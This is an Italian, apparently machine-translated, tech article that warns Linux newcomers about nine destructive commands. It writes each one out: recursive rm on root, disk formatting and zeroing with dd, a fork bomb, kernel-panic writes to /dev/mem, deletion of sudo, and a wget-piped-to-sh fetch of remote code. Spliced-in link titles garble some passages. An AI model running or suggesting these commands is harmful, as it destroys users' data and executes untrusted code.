9 Comandi Linux letali che non dovresti mai eseguire

Non dovresti mai eseguire un comando Linux a meno che tu non sappia esattamente cosa fa. Ecco alcuni dei comandi Linux più letali che, per la maggior parte, vuoi evitare.

Non dovresti mai eseguire un comando Linux a meno che tu non sappia esattamente cosa fa.  Ecco alcuni dei comandi Linux più letali che, per la maggior parte, vuoi evitare.
Annuncio pubblicitario

Linux può essere un'arma a doppio taglio. Presume che tu sappia cosa stai facendo e ti dà la libertà di fare ciò che vuoi. Non ti interrogherà. Questo è comodo quando sai effettivamente cosa stai facendo, ma significa anche che potresti rendere il tuo sistema inutilizzabile in pochi secondi.

Nuovo alla riga di comando di Linux? Nessun problema. Guida introduttiva al terminale Linux Una guida rapida per iniziare con la riga di comando Linux Una guida rapida per iniziare con la riga di comando Linux È possibile eseguire moltissime cose sorprendenti con i comandi in Linux e non è davvero difficile da imparare. Per saperne di più insieme a questi 40 comandi essenziali di Linux Una AZ di Linux - 40 comandi essenziali che dovresti sapere su AZ di Linux - 40 comandi fondamentali che dovresti sapere Linux è la terza ruota ignorata spesso su Windows e Mac. Sì, negli ultimi dieci anni, il sistema operativo open source ha guadagnato molta trazione, ma è ancora ben lontano dall'essere considerato ... Per saperne di più. Con queste due risorse, potrai familiarizzare con la linea di comando in pochissimo tempo.

Ma che tu sia un principiante o un veterano di Linux, non dovresti mai eseguire un comando se non sai esattamente cosa fa. Ecco alcuni dei comandi Linux più letali che, per la maggior parte, vuoi evitare.

Elimina in modo ricorsivo

La capacità di Linux di eliminare qualsiasi cosa tu voglia senza problemi è una manna dal cielo, specialmente dopo aver affrontato anni di errori "Quel file non può essere cancellato" in Windows. Ma i troll di Internet saranno pronti a ingannarti, presentandoti con comandi di rimozione estremamente pericolosi che possono cancellare interi dischi rigidi.

rm -rf / 

Questa riga esegue il comando remove rm con due commutatori: -r che forza l'eliminazione ricorsiva attraverso tutte le sottodirectory e -f che forza l'eliminazione dei file di sola lettura senza conferma. Il comando viene eseguito nella directory / root, essenzialmente cancellando completamente l'intero sistema.

Nota, in questi giorni sulla maggior parte dei sistemi Linux, se provassi a farlo, riceverai un avvertimento. Ma l'avvertimento non è garantito, quindi non farlo.

Formatta disco rigido

Il terminale è particolarmente complicato per i neofiti di Linux perché fornisce diversi modi per cancellare accidentalmente il proprio disco rigido. La cancellazione ricorsiva è grande, ma eccone un'altra:

 mkfs.ext3 /dev/hda 

Questo comando formatta il disco rigido per utilizzare il filesystem ext3. Formattazione dell'unità disco Come riformattare l'unità FAT32 in NTFS - E i vantaggi di farlo Come riformattare l'unità FAT32 in NTFS - E i vantaggi di farlo Potresti non saperlo, ma scegliere il giusto filesystem per le tue unità è in realtà piuttosto bello importante. Sebbene l'idea principale di tutti i filesystem sia la stessa, ci sono molti vantaggi e svantaggi su ogni ... Read More non è un'azione intrinsecamente malevola, ma "resetta" l'unità in modo tale che sia "come nuovo". In altre parole, un disco rigido formattato è come una lavagna vuota.

La formattazione è utile per le partizioni del disco e le unità esterne, ma eseguirlo su un intero disco rigido (come / dev / hda ) è pericoloso e può lasciare il sistema in uno stato irrecuperabile.

Sovrascrivi il disco rigido

Come se la formattazione accidentale del disco non fosse abbastanza male, è possibile sovrascrivere il tuo disco rigido usando dati grezzi. Almeno la formattazione del disco è una procedura reale con usi reali; la sovrascrittura diretta della propria unità, d'altra parte, non è così grande.

 command >/dev/hda 

Nel comando precedente, il comando può essere sostituito da qualsiasi comando Bash. L'operatore > reindirizza l'output dal comando alla sua sinistra al file alla sua destra. In questo caso, non importa quale sia l'output del comando di sinistra. I dati grezzi vengono reindirizzati e utilizzati per sovrascrivere il disco rigido del sistema.

Come puoi immaginare, questo lo rende inutile.

Pulisci il disco rigido

Ecco un altro modo per rovinare il tuo sistema. Questa volta, il comando azzererà completamente il tuo disco rigido. Nessun danneggiamento o sovrascrittura di dati; riempirà letteralmente il tuo disco fisso con zero. Un disco rigido non viene più cancellato.

 dd if=/dev/zero of=/dev/hda 

Il comando dd è un'istruzione di basso livello che viene principalmente utilizzata per scrivere dati su unità fisiche. Il parametro if determina la fonte dei dati, che in questo caso è / dev / zero, uno speciale su Linux che produce un flusso infinito di zeri. Il parametro di determina la destinazione di tali zeri, che è l'unità / dev / hda .

Sì, ci sono ragioni legittime per azzerare un disco, ma se non sai quali sono queste ragioni, allora ti consigliamo di stare lontano da questo comando.

Implodera il disco rigido

Se sei stanco di sentire modi per distruggere il tuo disco rigido, aspetta. Eccone un altro per te. Su Linux, c'è un file speciale chiamato / dev / null che cancellerà qualsiasi dato vi sia scritto. Puoi pensare ad esso come un buco nero o un trituratore di file: tutto ciò che viene dato come input sarà mangiato per sempre.

 mv / /dev/null 

Puoi individuare il pericolo qui? Il comando mv prova a spostare la directory root del sistema / nel buco nero di / dev / null . Questo è un comando valido e il risultato è devastante: il disco rigido viene mangiato e non rimane nulla. Fare ciò renderà il tuo sistema inutilizzabile.

Causa Kernel Panic

Windows ha il suo famigerato Blue Screen of Death Windows 8 Crashing? Come risolvere facilmente schermata blu e altri problemi Windows 8 si blocca? Come risolvere facilmente schermata blu e altri problemi Windows 8 non è perfetto. Detto questo, la maggior parte delle schermate blu e crash dell'applicazione non sono un errore di Windows. I nostri consigli ti aiuteranno a identificare esattamente cosa c'è che non va nel tuo PC e risolverlo. Leggi di più . E nonostante i miti che circolano, Linux non è un sistema perfettamente sicuro. 4 Miti della sicurezza informatica che devono morire 4 miti della sicurezza informatica che devono morire Leggi di più. A volte, si verifica un errore interno dal quale il ripristino è impossibile, quindi il sistema eseguirà qualcosa di simile allo schermo blu: un panico del kernel .

 dd if=/dev/random of=/dev/port echo 1>/proc/sys/kernel/panic cat /dev/port cat /dev/zero>/dev/mem 

Le complessità dei comandi sopra non sono importanti qui. Ciò che è importante è che l'esecuzione di una di queste linee causerà un panico del kernel, costringendo a riavviare il sistema. È meglio stare alla larga da questi comandi, a meno che tu non sia assolutamente sicuro di sapere cosa stai facendo.

Fork Bomb

Bash è la lingua del terminale Linux. Linux è confuso? Ecco i termini chiave che devi sapere Linux confonde? Ecco i termini chiave che devi conoscere In questi giorni, Ubuntu e altre distribuzioni Linux moderne di solito si installano senza intoppi (e senza richiedere alcuna conoscenza), ma man mano che vai avanti con loro, inevitabilmente ti imbatterai in ogni sorta di terminologia. .. Leggi di più ed è potente. Non solo può eseguire comandi, ma può anche eseguire funzioni, il che rende facile scrivere script in grado di automatizzare le attività di sistema. Sfortunatamente, le funzioni non vengono senza i propri rischi.

 :(){:|:&};: 

Questo oscuro comando è chiamato bomba a forcella, che è un tipo speciale di panico del kernel. Definisce una funzione chiamata : che richiama ricorsivamente se stessa due volte quando viene eseguita. Una delle chiamate ricorsive avviene in primo piano mentre l'altra avviene in background.

In altre parole, ogni volta che viene eseguita questa funzione, vengono generati due processi figlio. Questi processi secondari generano i propri processi figli e questo ciclo continua in un ciclo infinito. L'unica via d'uscita è riavviare il sistema.

Esegui script remoto

Ecco un comando innocente che può essere utile nella vita di tutti i giorni su un sistema Linux. wget recupera il contenuto di un URL Web, che può essere utilizzato per accedere a siti Web o scaricare file. Tuttavia, c'è un semplice trucco che lo rende pericoloso:

 wget http://an-untrusted-url -O- | sh 

La combinazione sopra riportata scarica il contenuto dell'URL specificato e lo invia immediatamente al comando sh, che esegue i contenuti scaricati nel terminale. Se l'URL dovesse puntare a uno script malevolo, con questo comando sigilleresti il ​​tuo destino.

Disabilitare i diritti dei comandi di root

Questo comando finale è semplice. Utilizza il comando rm comunemente usato per disabilitare due dei comandi più importanti su Linux: sudo e su . Per farla breve, questi due consentono di eseguire altri comandi con permessi di root. Senza di loro, la vita su Linux sarebbe miserabile.

 rm -f /usr/bin/sudo;rm -f /bin/su 

Ecco perché non dovresti eseguire questo comando. Forza cancella entrambi i comandi dal tuo sistema senza alcuna conferma, lasciandoti in un inceppamento. Ci sono modi per ripristinare ciò che hai eliminato I migliori modi per recuperare i dati su Linux I migliori modi per recuperare i dati su Linux Non importa se fosse colpa tua o meno, le cose possono accadere ai dati memorizzati sui tuoi dispositivi. I dischi rigidi, le unità a stato solido e i supporti rimovibili possono potenzialmente "perdere" i file a causa di numerosi ... Read More, ma non è sempre semplice né piacevole.

Fate attenzione! Non aver paura di giocare con Linux Considerando Linux? 10 domande comuni risposte considerando Linux? 10 domande comuni risposte Qui ci sono le domande più comuni che gli utenti di Windows hanno su Linux. Dopo aver esaminato questa lista di domande e risposte, dovresti sentirti molto più sicuro di provare Linux. Leggi di più e il terminale della riga di comando, ma allo stesso tempo, fai la tua ricerca e non eseguire mai nulla se non sei assolutamente sicuro di ciò che fa. Se qualcuno ti dice di "provare questo comando", controlla sempre il doppio e il triplo.

Hai mai eseguito un comando distruttivo? Quello che è successo? Qualcuno ti ha ingannato? Condividi i tuoi pensieri ed esperienze con noi nei commenti!

In this article